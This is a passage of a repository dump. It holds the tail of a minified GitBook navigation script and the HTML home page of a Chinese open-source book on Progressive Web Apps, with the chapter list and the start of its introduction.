t=e.children(\"a\"),n=t.attr(\"href\").split(\"#\")[1];return n&&(n=\"#\"+n),n?n:\"\"}function f(){var e=r(),t=e.scrollTop(),n=e.prop(\"scrollHeight\"),o=e.prop(\"clientHeight\"),i=w.length,a=null;T(w.get().reverse()).each(function(e){var n,r=c(T(this));r&&!a&&(n=u(r),t>=n&&(a=T(this))),e!=i-1||a||(a=T(this))}),a||t||(a=w.first()),t&&n-t==o&&(a=w.last()),l(a)}function p(e,t){var n=k.parse(A),r=k.resolve(window.location.pathname,e),i=k.parse(r),a=i.hash,s=i.pathname!==n.pathname,u=Boolean(i.hostname);if(!S||u)return void(location.href=e);if(!s)return t&&history.pushState({path:r},null,r),o(a);A=r;var l=T.Deferred(function(e){T.ajax({type:\"GET\",url:r,cache:!0,headers:{\"Access-Control-Expose-Headers\":\"X-Current-Location\"},success:function(n,i,s){var u=s.getResponseHeader(\"X-Current-Location\")||r;n=n.replace(/<(\\/?)(html|head|body)([^>]*)>/gi,function(e,t,n,r){return\"<\"+t+\"div\"+(t?\"\":' data-element=\"'+n+'\"')+r+\">\"});var l,c=T(n),f=c.find(\".book\");if(0===f.length){var p=new Error(\"Invalid gitbook page, redirecting...\");return e.reject(p)}t&&history.pushState({path:u},null,u),c=T(n),l=c.find(\"[data-element=head]\"),f=c.find(\".book\"),document.title=l.find(\"title\").text();var h=T(\"head\");h.find(\"link[rel=prev]\").remove(),h.find(\"link[rel=next]\").remove(),h.append(l.find(\"link[rel=prev]\")),h.append(l.find(\"link[rel=next]\"));var g=T(\".book\").attr(\"class\"),m=T(\".book-summary\").scrollTop();f.toggleClass(\"with-summary\",T(\".book\").hasClass(\"with-summary\")),T(\".book\").replaceWith(f),T(\".book\").attr(\"class\",g),T(\".book-summary\").scrollTop(m),N.state.$book=T(\".book\"),d(!a),a&&o(a),e.resolve()}})}).promise();return j.show(l.fail(function(e){console.log(e)}))}function h(){var e,t;e=parseInt(T(\".body-inner\").css(\"width\"),10),t=parseInt(T(\".page-wrapper\").css(\"width\"),10),T(\".navigation-next\").css(\"margin-right\",e-t+\"px\");var n=r();n.unbind(\"scroll\"),n.scroll(f)}function d(e){var t=T(\".book-body\"),n=t.find(\".body-inner\"),o=n.find(\".page-wrapper\");h(),o.focus();var i=r();e!==!1&&i.scrollTop(0),w=T(\".book-summary .summary .chapter\").filter(function(){var e=T(this).children(\"a\"),t=null;if(!e.length)return!1;t=e.attr(\"href\").split(\"#\")[0];var n=k.resolve(window.location.pathname,t);return window.location.pathname==n}),w.length>1?i.scroll(f):C=w.first()}function g(e){return 0===e.button}function m(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function v(e){var t=T(this),n=t.attr(\"target\");if(!m(e)&&g(e)&&!n){e.stopPropagation(),e.preventDefault();var r=t.attr(\"href\");r&&p(r,!0)}}function y(){var e=T(\".navigation-next\").attr(\"href\");e&&p(e,!0)}function b(){var e=T(\".navigation-prev\").attr(\"href\");e&&p(e,!0)}function x(){T.ajaxSetup({cache:!1}),history.replaceState({path:window.location.href},\"\"),window.onpopstate=function(e){if(null!==e.state)return p(e.state.path,!1)},T(document).on(\"click\",\".navigation-prev\",v),T(document).on(\"click\",\".navigation-next\",v),T(document).on(\"click\",\".summary [data-path] a\",v),T(document).on(\"click\",\".page-inner a\",v),T(window).resize(h),d(!1)}var w,C,T=e(\"jquery\"),k=e(\"url\"),j=e(\"./loading\"),E=e(\"./platform\"),N=window.gitbook,S=\"undefined\"!=typeof history.pushState,A=location.href;t.exports={init:x,goNext:y,goPrev:b}},{\"./loading\":12,\"./platform\":14,jquery:1,url:7}],14:[function(e,t,n){var r=e(\"jquery\");t.exports={isMobile:function(){return r(document).width()<=600},isSmallScreen:function(){return r(document).width()<=1240}}},{jquery:1}],15:[function(e,t,n){function r(e,t){null!=l.state&&o()==e||(null==t&&(t=!0),l.state.$book.toggleClass(\"without-animation\",!t),l.state.$book.toggleClass(\"with-summary\",e),l.storage.set(\"sidebar\",o()))}function o(){return l.state.$book.hasClass(\"with-summary\")}function i(){u.isMobile()||r(l.storage.get(\"sidebar\",!0),!1),s(document).on(\"click\",\".book-summary li.chapter a\",function(e){u.isMobile()&&r(!1,!1)})}function a(e){var t=s(\".book-summary\");t.find(\"li\").each(function(){var t=s(this).data(\"path\"),n=null==e||e.indexOf(t)!==-1;s(this).toggle(n),n&&s(this).parents(\"li\").show()})}var s=e(\"jquery\"),u=e(\"./platform\"),l=window.gitbook;t.exports={init:i,isOpen:o,toggle:r,filter:a}},{\"./platform\":14,jquery:1}],16:[function(e,t,n){function r(){return\"btn-\"+g++}function o(e,t,n,r){var o=e.children(t).length;n<0&&(n=Math.max(0,o+1+n)),e.append(r),n<o&&e.children(t).eq(n).before(e.children(t).last())}function i(e){e.preventDefault()}function a(e){var t=p(\"<div>\",{class:\"dropdown-menu\",html:'<div class=\"dropdown-caret\"><span class=\"caret-outer\"></span><span class=\"caret-inner\"></span></div>'});if(\"string\"==typeof e)t.append(e);else{var n=e.map(function(e){return p.isArray(e)?e:[e]});n.forEach(function(e){var n=p(\"<div>\",{class:\"buttons\"}),r=\"size-\"+e.length;e.forEach(function(e){e=p.extend({text:\"\",className:\"\",onClick:i},e||{});var t=p(\"<button>\",{class:\"button \"+r+\" \"+e.className,text:e.text});t.click(e.onClick),n.append(t)}),t.append(n)})}return t}function s(e){return e=p.extend({label:\"\",icon:\"\",text:\"\",position:\"left\",className:\"\",onClick:i,dropdown:null,index:null,id:r()},e||{}),d.push(e),u(e),e.id}function u(e){var t,n=p(\".book-header\"),r=n.find(\"h1\"),i=\"pull-\"+e.position,s=p(\"<a>\",{class:\"btn\",text:e.text?\" \"+e.text:\"\",\"aria-label\":e.label,href:\"#\"});if(s.click(e.onClick),e.icon&&p(\"<i>\",{class:e.icon}).prependTo(s),e.dropdown){var u=p(\"<div>\",{class:\"dropdown \"+i+\" \"+e.className});s.addClass(\"toggle-dropdown\"),u.append(s);var l=a(e.dropdown);l.addClass(\"dropdown-\"+(\"right\"==e.position?\"left\":\"right\")),u.append(l),t=u}else s.addClass(i),s.addClass(e.className),t=s;t.addClass(\"js-toolbar-action\"),p.isNumeric(e.index)&&e.index>=0?o(n,\".btn, .dropdown, h1\",e.index,t):t.insertBefore(r)}function l(){p(\".js-toolbar-action\").remove(),d.forEach(u)}function c(e){d=p.grep(d,function(t){return t.id!=e}),l()}function f(e){d=p.grep(d,function(t){return e.indexOf(t.id)==-1}),l()}var p=e(\"jquery\"),h=window.gitbook,d=[],g=0;h.events.on(\"page.change\",function(){l()}),t.exports={createButton:s,removeButton:c,removeButtons:f}},{jquery:1}]},{},[10]);\n"
  },
  {
    "path": "docs/index.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>HOME · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"chapter01.html\" />\n    \n    \n\n    \n    <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter active\" data-level=\"1.1\" data-path=\"./\">\n            \n                <a href=\"./\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"chapter01.html\">\n            \n                <a href=\"chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"chapter02.html\">\n            \n                <a href=\"chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"chapter02/2-design-and-tech.html\">\n            \n                <a href=\"chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"chapter02/3-app-shell.html\">\n            \n                <a href=\"chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"chapter02/4-app-skeleton.html\">\n            \n                <a href=\"chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"chapter02/5-responsive-design.html\">\n            \n                <a href=\"chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"chapter03.html\">\n            \n                <a href=\"chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"chapter03/1-promise.html\">\n            \n                <a href=\"chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"chapter03/2-async-function.html\">\n            \n                <a href=\"chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"chapter03/3-fetch-api.html\">\n            \n                <a href=\"chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"chapter03/4-cache-api.html\">\n            \n                <a href=\"chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"chapter03/5-indexeddb.html\">\n            \n                <a href=\"chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"chapter04.html\">\n            \n                <a href=\"chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"chapter04/2-service-worker-register.html\">\n            \n                <a href=\"chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"chapter05.html\">\n            \n                <a href=\"chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"chapter05/2-local-storage-management.html\">\n            \n                <a href=\"chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"chapter05/3-respond-strategy.html\">\n            \n                <a href=\"chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"chapter05/4-precache.html\">\n            \n                <a href=\"chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"chapter05/5-workbox.html\">\n            \n                <a href=\"chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"chapter06.html\">\n            \n                <a href=\"chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"chapter06/1-manifest-json.html\">\n            \n                <a href=\"chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"chapter06/2-credentials-api.html\">\n            \n                <a href=\"chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"chapter06/3-notification-api.html\">\n            \n                <a href=\"chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"chapter06/4-web-push-api.html\">\n            \n                <a href=\"chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"chapter06/5-payment-request-api.html\">\n            \n                <a href=\"chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"chapter07.html\">\n            \n                <a href=\"chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"chapter07/1-https.html\">\n            \n                <a href=\"chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"chapter07/2-CSP.html\">\n            \n                <a href=\"chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"chapter07/3-policy.html\">\n            \n                <a href=\"chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"chapter07/4-vulnerability.html\">\n            \n                <a href=\"chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"chapter08.html\">\n            \n                <a href=\"chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"chapter08/1-loading-performance.html\">\n            \n                <a href=\"chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"chapter08/2-rendering-performance.html\">\n            \n                <a href=\"chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"chapter09.html\">\n            \n                <a href=\"chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"chapter09/1-search-engine-index.html\">\n            \n                <a href=\"chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"chapter09/4-preload-pwa.html\">\n            \n                <a href=\"chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"appendix01.html\">\n            \n                <a href=\"appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"appendix01/1-lighthouse.html\">\n            \n                <a href=\"appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"thanks.html\">\n            \n                <a href=\"thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\".\" >HOME</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x300A;pwa-&#x5E94;&#x7528;&#x5B9E;&#x6218;&#x300B;\"><b></b>&#x300A;PWA &#x5E94;&#x7528;&#x5B9E;&#x6218;&#x300B;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x7B80;&#x4ECB;\"><b></b>&#x7B80;&#x4ECB;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5173;&#x4E8E;&#x4F5C;&#x8005;\"><b></b>&#x5173;&#x4E8E;&#x4F5C;&#x8005;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x4E3A;&#x4EC0;&#x4E48;&#x5199;&#x8FD9;&#x672C;&#x4E66;\"><b></b>&#x4E3A;&#x4EC0;&#x4E48;&#x5199;&#x8FD9;&#x672C;&#x4E66;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x4E3A;&#x4EC0;&#x4E48;&#x5F00;&#x6E90;\"><b></b>&#x4E3A;&#x4EC0;&#x4E48;&#x5F00;&#x6E90;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x7248;&#x6743;\"><b></b>&#x7248;&#x6743;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6700;&#x540E;\"><b></b>&#x6700;&#x540E;</a></li></ul></ul></div><a href=\"#&#x300A;pwa-&#x5E94;&#x7528;&#x5B9E;&#x6218;&#x300B;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><p><img src=\"img/pwa.png\" width=\"50%\"></p>\n<h1 id=\"&#x300A;pwa-&#x5E94;&#x7528;&#x5B9E;&#x6218;&#x300B;\"><a name=\"&#x300A;pwa-&#x5E94;&#x7528;&#x5B9E;&#x6218;&#x300B;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x300A;pwa-&#x5E94;&#x7528;&#x5B9E;&#x6218;&#x300B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x300A;pwa-&#x5E94;&#x7528;&#x5B9E;&#x6218;&#x300B;\" class=\"plugin-anchor\" href=\"#&#x300A;pwa-&#x5E94;&#x7528;&#x5B9E;&#x6218;&#x300B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x300A;PWA &#x5E94;&#x7528;&#x5B9E;&#x6218;&#x300B;</h1>\n<p>&#x6B22;&#x8FCE;&#x8D70;&#x8FDB; PWA &#x4E16;&#x754C;&#xFF01;&#xFF01;</p>\n<h2 id=\"&#x7B80;&#x4ECB;\"><a name=\"&#x7B80;&#x4ECB;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7B80;&#x4ECB;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7B80;&#x4ECB;\" class=\"plugin-anchor\" href=\"#&#x7B80;&#x4ECB;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7B80;&#x4ECB;</h2>\n<p>&#x672C;&#x4E66;&#x56F4;&#x7ED5;&#x7740; PWA &#x4EE5;&#x53CA;&#x5468;&#x8FB9;&#x6280;&#x672F;&#xFF0C;&#x4ECE;&#x6982;&#x5FF5;&#x5165;&#x624B;&#xFF0C;&#x4EE5;&#x5B9E;&#x6218;&#x7684;&#x65B9;&#x5F0F;&#x7ED9;&#x8BFB;&#x8005;&#x8BB2;&#x8FF0;&#x5982;&#x4F55;&#x7F16;&#x5199; PWA&#xFF0C;&#x4EE5;&#x53CA;&#x5982;&#x4F55;&#x7F16;&#x5199;&#x4F53;&#x9A8C;&#x6700;&#x597D;&#x3001;&#x901F;&#x5EA6;&#x6700;&#x5FEB;&#x3001;&#x5B89;&#x5168;&#x7684; PWA &#x7AD9;&#x70B9;&#x3002;</p>\n<p>&#x672C;&#x4E66;&#x4E3B;&#x8981;&#x4ECE;&#x4EE5;&#x4E0B;&#x51E0;&#x4E2A;&#x90E8;&#x5206;&#x8BB2;&#x8FF0; PWA&#x3002;</p>\n<ul>\n<li>&#x8BBE;&#x8BA1;&#x4E0E;&#x4F53;&#x9A8C;</li>\n<li>&#x57FA;&#x7840;&#x6280;&#x672F;</li>\n<li>Service 